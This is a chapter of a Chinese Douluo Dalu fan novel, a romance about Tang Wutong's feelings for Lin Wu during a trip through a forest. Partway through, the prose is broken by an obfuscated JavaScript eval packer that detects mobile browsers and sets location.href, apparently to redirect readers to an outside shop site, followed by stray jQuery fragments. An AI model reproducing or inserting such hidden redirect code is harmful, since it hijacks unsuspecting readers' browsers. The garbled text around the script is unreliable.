40.第 40 章

作品:《[斗罗]叶落梧桐时

    临梧额间的青色三花钿一闪而过,幸好身旁的两人都在注意着眼前三眼金猊的动向,没有看到她的这一变化。


    帝皇瑞兽的存在是星斗大森林中当之无愧的绝对宠儿,它会出现在星斗大森林核心区以外的地方,那就说明它的身边一定会有着一个强大的魂兽为其护法。


    令唐舞桐与宁与卿忌惮所忌惮的,也正是这个还未露面的强大存在。


    三眼金猊踏着金焰步步逼近,就在它即将要走到唐舞桐三人所藏身的草丛前面时,在星斗大森林的最深处突然传来一声沉重的龙吟,三眼金猊停下脚步,仰头朝着那个方向也发出一声长吟,这声长吟似是莺类啼叫,婉转清脆。


    啼叫声毕,三眼金猊也转过身要朝龙吟声处去了,在离开前,它回头看了临梧一眼。


    这次唐舞桐看的很清楚,三眼金猊目光看过来的方向,就是临梧。


    唐舞桐回头的瞬间,也看清楚了临梧一闪而过的竖瞳与额间的青色三花钿。


    这种三花钿出现在魂兽身上还真是闻所未闻,就连饱览群书的她也未曾在昊天宗的卷轴中看见过,看来得在下次回家的时候问问大爹二爹了。


    危机解除,宁与卿长长地舒了一口气,他刚才可是跟老青万般保证过临梧的安危,要是刚才那只三眼金猊没有被那声龙吟叫走的话,这两大上古魂兽碰到一起的话,会发生什么事情还真不好说。


    也不知道老青的这个空间护符能不能屏蔽魂兽之间的感应……


    宁与卿紧绷着的神经一放松下来,丝毫不想再顾及形象地坐到了地上,手中一直捏着的那颗水珠便被他不小心捏爆了。


    “遭了。”


    宁与卿的话语刚落,刹那间一个身材高大的男子便出现在了三人的面前。


    唐舞桐与宁与卿二人是相对而坐的姿势,这名男子出现时,是面对着宁与卿那个方向的,所以唐舞桐只能看见他宽广的背影。


    男子一头水蓝色的长发随意披在身后,身上穿着的似是某国的宫廷服饰,看上去华贵无比。


    男人声音低缓:“你没事吧。”


    宁与卿尴尬地举起手中那颗已经被捏爆了的水珠,道:“已经没事了,我就是不小心捏到了。”


    那水珠被捏破了后,里面的水滴并没有随之消散,而是在眼前的男人出现时,又重新汇聚起来回到了男人的身上。


    男人上下打量了一番宁与卿,确认他真的没事后才点了下头,随后才将目光投向一旁的临梧。


    临梧朝他扯了个假笑,举起手就当是打过招呼了,打过招呼后就回到了唐舞桐的身边。


    男人伸手将宁与卿拉了起来。


    唐舞桐这才看清楚了他的脸,男人的脸部线条很柔和,与之相反的是他瞳色,竟然是如玛瑙般的红色,让他平添了几分妖冶。


    临梧扯扯唐舞桐的袖子,凑到她的耳边小声说道:“他就是阿舒,是大宝贝的道侣。”


    道道道道道道道道道……道侣?!


    男的?


    男的道侣吗?


    几人又重新上路,这回是由公仪舒带路,而有过三眼金猊的这个前车之鉴,宁与卿也不敢再在这星斗大森林中悠闲散步了。


    唐舞桐还沉浸在道侣二字给她带来的冲击中,临梧跟在她的身边,也很一反常态地没再继续东张西望。


    公仪舒来了之后,宁与卿就不再抱着临梧了,而是由公仪舒在她的脚下化了一团水雾驮着她前行。


    “你找到那孩子了?”宁与卿问。


    “嗯。”


    “小宝贝第一次来星斗大森林外围以外的地方,我就想着带她四处逛逛,你猜,我们刚才碰见什么了?”


    “什么?”


    “帝皇瑞兽三眼金猊!”宁与卿语气难掩激动。


    宁与卿当下便将遇到三眼金猊的前后所发生之事统统告诉了公仪舒,公仪舒便静静听着。


    唐舞桐时不时地看那二人一眼,心中的震撼不减反增。


    从刚才临梧那反应来看,她对于这种同性之间的情感并不排斥,当然也不排除她根本不知道道侣与朋友的区别在哪里。


    唐舞桐当然也不排斥这样的感情,她只是没有想到有一天会降临在自己的身边。


    当然,也有可能已经降临在了她的身上,在之前的某一天里已经悄悄地叩响过她的心门。


    就在临梧的那一吻过后。


    那可以算是一个吻吗?


    她不知道。


    那蜻蜓点水般的触碰,在那次过后总会出现在她的梦里,次数多到她几乎要以为临梧那次的醉酒也是自己的某一个梦了。


    梦境可能会模糊不清,但心跳声从不作假。


    醒来时总会静静地看着睡在身旁的临梧发呆,临梧睡觉时嘴巴会不自觉地张开一个小口子,却还是在用鼻子呼吸,她很黏人,整个人都喜欢窝在唐舞桐的身边,呼出的热气尽数扑打在唐舞桐的脖子上,惹得唐舞桐脖子痒,心也痒。


    再睡不下去时,唐舞桐便会想很多。


    想碧落琉璃枕为什么失效了,还是说因为有临梧在,所以美梦全都转移到了她的身上。


    想临梧到底是什么身份,明明能够化形了但从日常相处中来看,却还是像从未涉世的孩童般。


    想临梧那个一触即分的亲吻,是太高兴了情不自禁,还是太喜欢了真情流露,真的好想把她推醒问问清楚。


    想酒是什么味道的,若是那个时候临梧亲的地方是她的嘴的话,那是不是她也能尝得出来酒的味道了。


    想自己是什么时候开始对临梧如此特别的;想要是临梧真的喜欢自己该怎么办;想如果临梧真的向自己告白,那她勉为其难同意了的话,算不算是早恋。


    以后带着她去见妈妈的话,妈妈也肯定会很喜欢她的。


    唐舞桐想了很多很多,甚至连以后该如何向海神阁长老们坦白自己是如何把学院守护兽拐跑了的这件事情,她都罗列了三四种方案,但她就是没有想到,临梧会不记得。


    临梧不记得那个亲吻,也不记得这几个晚上的同床共枕,她还说她只当自己是朋友。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871961|188318||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    朋友,那就是和梵栖婳她们一样的存在。


    唐舞桐顿时觉得生气极了,生气过后,一股股涌上心头的酸涩名为委屈。


    临梧不记得了,她怎么可以不记得?她怎么可以在扰乱了她所有心神过后,又若无其事地与她以朋友的身份安然自得地相处着。


    明明那次主动亲她的人是临梧,但唐舞桐却觉得,那个吻是那时的自己替现在的自己偷来的。


    明明那只是一个不算吻的亲亲。


    “舞桐。”


    临梧见唐舞桐频频将目光投向前面的宁与卿二人,忍不住出声叫了她。


    唐舞桐:“?”


    她们和前面两人距离相差不远,临梧想了想,还是偏过头降低了音量道:“你是不是也不明白为什么大宝贝和他的道侣都是男人?”


    唐舞桐不知道为什么临梧一定要跟说悄悄话一样的小声说话,明明以前面二人的修为来看,她们再小声,宁与卿和公仪舒也还是能听到啊。


    但她还是配合着也低声说道:“我不明白的不是他们的性别,我想不明白的是,你知道道侣是什么意思吗?”


    临梧眨眨眼,道:“我当然知道了,道侣就是以后要一直生活在一起的人,要两个人一直都一起吃饭,一起修炼,一起睡觉。”


    唐舞桐继续问道:“你说的这些,朋友不是也可以做到吗?”


    “那不一样!”临梧语气带了点认真,“朋友是可以有很多的,但是道侣只能有一个,而且道侣是可以一直一直都陪在身边的,独一无二的!”


    唐舞桐原本还以为在蛇类魂兽的字典里,是没有道侣这个概念的,但现在听临梧这么一说,她显然是能区分得开道侣与朋友这一界限的。


    还真是她小瞧蛇了。


    “谁教你的这些?”


    临梧道:“云芮姨和南星姨说的,她们也是彼此的道侣,不过据南星姨自己所说,道侣像是一切尘埃落定后的结果,她要和云芮姨永远热恋……虽然我不是很懂是什么意思就是了……”


    云芮姨和南星姨,云芮和天南星?


    她们也是一对?


    那看来这条小蛇的接受度比她预想的要高很多,接下来只要等她自己慢慢开窍就好了。


    反正,她有的是时间。


    并且她也很乐意帮助她加快一下开窍的进程。


    “那你想不想也……”


    唐舞桐眼皮一跳,突然感受到前方的一抹视线正朝她投来,她急忙住嘴,好险,差一点就得意忘形,忘记自己正身处什么地方了。


    “嗯?”临梧道,“舞桐你想说什么?”


    “没什么。”唐舞桐笑笑。


    算了,来日方长,反正这条小蛇横竖都逃不开了。


    宁与卿三两下地就将遇见三眼金猊的事情讲完了,公仪舒始终静静地听着,也不插话,只是在宁与卿说完后淡淡点头,道:“下次要在刚遇见危险时就把我召唤过来。”


    宁与卿摊摊手,他其实对于自己的第九魂技还是挺自信的。


    “知道了。”